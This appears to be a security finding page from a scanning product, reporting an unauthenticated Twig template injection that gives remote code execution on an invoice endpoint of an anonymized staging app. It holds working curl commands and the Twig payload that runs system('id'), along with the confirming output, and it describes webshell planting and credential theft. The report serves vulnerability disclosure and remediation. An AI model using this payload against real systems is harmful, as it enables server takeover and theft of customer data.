Unauthenticated Twig SSTI leading to RCE on invoices/create (POST template)
/invoices/createAttack Path
Business Impact
An unauthenticated attacker gains full remote code execution as www-data, allowing them to steal MySQL credentials from /app/[REDACTED-PATH] and pivot into the internal database host holding business and customer data. Persistent webshells enable complete application takeover, data exfiltration, and long-term footholds for further attacks. This constitutes a critical breach with likely regulatory, financial, and reputational consequences.
Description
invoices/create renders the user-supplied template POST field directly as a Twig template by constructing a Twig Environment with an ArrayLoader containing the raw input ($twig->render('invoice', $data)) with no sandbox enabled. Because arbitrary Twig syntax is compiled and executed server-side, an unauthenticated attacker can invoke PHP functions via Twig filters such as {{['id']|map('system')}}, achieving full OS command execution as the www-data user. The rendered output, including command results, is echoed unescaped into the Invoice Preview section of the HTTP 200 response.
Proof of Concept
Setup
No authentication required. invoices/create builds new Environment(new ArrayLoader(['invoice' => $_POST['template']])) and echoes $twig->render('invoice', $data) unescaped into the Invoice Preview section (confirmed via files/download?file=../invoices/create source disclosure).
Exploit
- Prove template evaluation:
curl -s -X POST http://storefront.example/invoices/create \
--data-urlencode "invoice_number=SSTI-PROBE-1" \
--data-urlencode "template={{7*7}}-{{'SSTICR2'}}"
- Escalate to OS command execution:
curl -s -X POST http://storefront.example/invoices/create \
--data-urlencode "invoice_number=RCE-PROBE-1" \
--data-urlencode "template={{['id']|map('system')}}"
Verification
- Step 1: the
preview-sectiondiv in the 200 response contains literal49-SSTICR2(7*7 evaluated server-side). - Step 2: the
preview-sectiondiv contains the output of the executed command:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Array
i.e. system('id') was executed as www-data and its output rendered into the page.
Cleanup
No persisted state - the render is per-request only; nothing to clean up.
Observed Behavior
POSTing template={{7*7}}-{{'SSTICR2'}} returned HTTP 200 with 49-SSTICR2 rendered inside the preview-section div. POSTing template={{['id']|map('system')}} returned HTTP 200 with uid=33(www-data) gid=33(www-data) groups=33(www-data) in the same div, proving server-side execution of system() on attacker-controlled commands.
Attack Scenarios
- 1
An unauthenticated attacker executes arbitrary OS commands as www-data to read or modify the webroot, exfiltrate the MySQL credentials in /app/[REDACTED-PATH] and pivot to the internal mysql host.
- 2
An attacker achieves full application takeover by planting persistent webshells in the webroot via system() or file_put_contents.
- 3
An attacker chains the vulnerability with the path-traversal file-read on files/download/view_media.php to enumerate the filesystem before exploitation.
Triage & Management
Validation Status
Exploitability
Asset Information
Anonymized staging evaluation. Explore the full detail view; management actions are available in your own workspace.
Find issues in your app